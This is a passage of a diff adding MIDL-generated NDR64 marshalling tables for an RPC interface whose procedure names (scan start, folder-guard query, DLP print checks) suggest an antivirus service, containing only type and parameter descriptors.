*/ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1309, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1298_t __midl_frag1298 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1297_t __midl_frag1297 = +{ +/* *Struct_16_t */ + { + /* *Struct_16_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_16_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag1298 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 16 /* 0x10 */, + &__midl_frag36 + } +}; + +static const __midl_frag1296_t __midl_frag1296 = +{ +/* *Struct_16_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1297 +}; + +static const __midl_frag1295_t __midl_frag1295 = +{ +/* **Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1296 +}; + +static const __midl_frag1292_t __midl_frag1292 = +{ +/* Proc136_ServerMpQueryDefaultFolderGuardList */ + { + /* Proc136_ServerMpQueryDefaultFolderGuardList */ /* procedure Proc136_ServerMpQueryDefaultFolderGuardList */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1295, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1288_t __midl_frag1288 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 160 /* 0xa0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag1287_t __midl_frag1287 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1288 +}; + +static const __midl_frag1286_t __midl_frag1286 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag36 +}; + +static const __midl_frag1283_t __midl_frag1283 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 20 /* 0x14 */ + } +}; + +static const __midl_frag1282_t __midl_frag1282 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1283 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1279_t __midl_frag1279 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag1278_t __midl_frag1278 = +{ +/* *Struct_476_t */ + { + /* *Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* *Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag1279 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 1 /* 0x1 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 3 /* 0x3 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1282 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 32 /* 0x20 */, + &__midl_frag73 + } +}; + +static const __midl_frag1277_t __midl_frag1277 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1278 +}; + +static const __midl_frag1272_t __midl_frag1272 = +{ +/* Proc135_ServerMpOnDemandStartScan2 */ + { + /* Proc135_ServerMpOnDemandStartScan2 */ /* procedure Proc135_ServerMpOnDemandStartScan2 */ + (NDR64_UINT32) 2883651 /* 0x2c0043 */, /* auto handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 11 /* 0xb */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1277, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag36, + { + /* arg_8 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag1288, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2367, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1268_t __midl_frag1268 = +{ +/* *Struct_3040_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1253 +}; + +static const __midl_frag1267_t __midl_frag1267 = +{ +/* Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + { + /* Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ /* procedure Proc134_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1253, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1263_t __midl_frag1263 = +{ +/* */ + { + /* **Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1254 + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1260 + } +}; + +static const __midl_frag1261_t __midl_frag1261 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag1260_t __midl_frag1260 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1261 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1259_t __midl_frag1259 = +{ +/* *Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1256 +}; + +static const __midl_frag1256_t __midl_frag1256 = +{ +/* Struct_2986_t */ + { + /* Struct_2986_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2986_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1255_t __midl_frag1255 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1254_t __midl_frag1254 = +{ +/* **Struct_2986_t */ + { + /* **Struct_2986_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2986_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1255 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2986_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1256 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1259 + } +}; + +static const __midl_frag1253_t __midl_frag1253 = +{ +/* Struct_3040_t */ + { + /* Struct_3040_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3040_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */, + 0, + 0, + &__midl_frag1263, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_3040_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1252_t __midl_frag1252 = +{ +/* *Struct_3040_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1253 +}; + +static const __midl_frag1251_t __midl_frag1251 = +{ +/* **Struct_3040_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1252 +}; + +static const __midl_frag1250_t __midl_frag1250 = +{ +/* Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + { + /* Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ /* procedure Proc133_ServerDlpMpRpcDlpIsPrintDetoursNeeded */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1251, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + 